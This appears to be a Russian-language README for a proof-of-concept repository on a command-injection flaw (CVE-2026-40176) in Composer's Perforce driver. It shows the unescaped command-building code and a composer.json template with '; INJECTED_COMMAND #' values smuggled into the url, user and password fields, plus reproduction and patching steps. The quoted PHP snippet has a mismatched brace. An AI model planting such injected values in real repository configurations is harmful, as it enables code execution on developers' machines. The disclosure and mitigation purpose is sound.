
Доказательство концепции, демонстрирующее внедрение команд в драйвер Perforce в Composer (CVE-2026-40176), позволяющее удалённое выполнение кода через специально сформированную конфигурацию репозитория.
Уязвимость внедрения команд (Command Injection) в драйвере Perforce-репозитория Composer, позволяющая выполнить удаленный код (RCE) из-за недостаточной проверки входных данных при обработке URL-адресов репозиториев.
| Свойство | Значение |
|---|
| ID CVE | CVE-2026-40176 |
| Затронутые версии | Composer < 2.2.27 |
| Тип уязвимости | Внедрение команд |
| Вектор атаки | Вредоносная конфигурация репозитория |
| Воздействие | Выполнение произвольного кода |
| Оценка CVSS | Высокая/Критическая |
Уязвимость существует в том, как Composer обрабатывает репозитории типа perforce. Параметр не проходит должную санитизацию перед передачей в shell-команды, что позволяет злоумышленникам внедрять произвольные системные команды.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
Все это не было должным образом экранировано, что позволяет атакующему внедрять команды, создавая вредоносную полезную нагрузку для всех полей с типом perforce.
Уязвимый шаблон кода:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
Этот репозиторий содержит рабочее доказательство концепции, демонстрирующее уязвимость.
CVE-2026-40176/
├── composer.json # Вредоносная конфигурация Perforce-репозитория
├── vuln-composer.phar # Composer 2.2.26 (УЯЗВИМАЯ)
├── patched-composer.phar # Composer 2.2.27 (ИСПРАВЛЕННАЯ)
└── README.md # Этот файл
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Вывод: Composer version 2.2.26
php patched-composer.phar --version
# Вывод: Composer version 2.2.27
php vuln-composer.phar install
# ИЛИ
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# Файл НЕ должен существовать (уязвимость исправлена)
Обновите Composer до версии 2.2.27 или новее:
composer self-update --2.2.27
# ИЛИ
wget https://getcomposer.org/download/2.2.27/composer.phar
Проверьте все файлы composer.json на наличие неизвестных или подозрительных конфигураций репозиториев
Проведите аудит цепочки поставок — проверьте, не ссылаются ли какие-либо зависимости на недоверенные репозитории
# Проверьте версию Composer
composer --version
# Поиск Perforce-репозиториев в ваших проектах
grep -r "perforce" */composer.json